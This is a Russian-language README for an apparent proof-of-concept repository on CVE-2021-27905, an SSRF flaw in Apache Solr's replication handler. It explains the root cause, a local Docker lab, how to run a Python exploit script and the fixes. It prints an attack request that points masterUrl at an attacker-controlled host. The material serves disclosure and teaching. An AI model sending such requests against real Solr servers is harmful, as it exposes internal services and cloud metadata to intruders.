CVE-2021-27905

Только для образовательных и исследовательских целей. Не используйте этот код в системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Я не несу ответственности за любое неправомерное использование.

Обзор

Это уязвимость типа «подделка запроса на стороне сервера» (SSRF), затрагивающая Apache Solr (версии до 8.8.2), которая позволяет удалённым злоумышленникам выполнять произвольные HTTP-запросы к внутренним или внешним системам через параметр masterUrl обработчика репликации, что может привести к раскрытию внутренних сервисов или чувствительных метаданных облачной среды.

Затронутые версии : Все версии до 8.8.2 (7.0.0 – 7.7.3, 8.0.0 – 8.8.1)

Корневая причина

Механизм репликации в Solr позволяет «реплике» загружать индексные файлы с «мастера/лидера» путём указания параметра masterUrl или leaderUrl. URL, на который указывает этот параметр, недостаточно проверяется в затронутых версиях Apache Solr. Таким образом, это позволяет злоумышленникам заставить сервер обращаться к удалённому ресурсу по их выбору.

Уязвимый поток

• Злоумышленник отправляет запрос к конечной точке, например:

/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>

Solr's ReplicationHandler:

1. Принимает запрос.
2. Использует предоставленный masterUrl для загрузки данных индекса.
3. Внутренне выполняет HTTP-вызов по этому адресу.

Доказательство концепции

НАСТРОЙКА ЛАБОРАТОРИИ

• Лабораторию можно развернуть локально с помощью Docker:

$ cd lab
$ docker compose up -d

# проверить доступность
$ curl http://127.0.0.1:8983/solr

• Очистка

$ docker compose down

ЭКСПЛУАТАЦИЯ

• Создайте виртуальное окружение:

# для windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# для linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate

• Установите зависимости:

$ pip install -r requirements.txt

• Запустите cve-2021-27905.py

$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

Устранение (8.8.2+)

В ReplicationHandler Solr были внесены исправления:

• Проверка того, что masterUrl/leaderUrl указывает только на разрешённые хосты.
• Ограничение допустимых схем URL (только http, https).
• Усиление защиты функций удалённого потокового вещания.
• Рекомендация администраторам защитить /replication с помощью аутентификации или полностью удалить его, если он не используется.

Ссылки

• https://nvd.nist.gov/vuln/detail/CVE-2021-27905
• https://lists.apache.org/thread/90kct018gfdnvh9wh5xvt0grm9jk2l80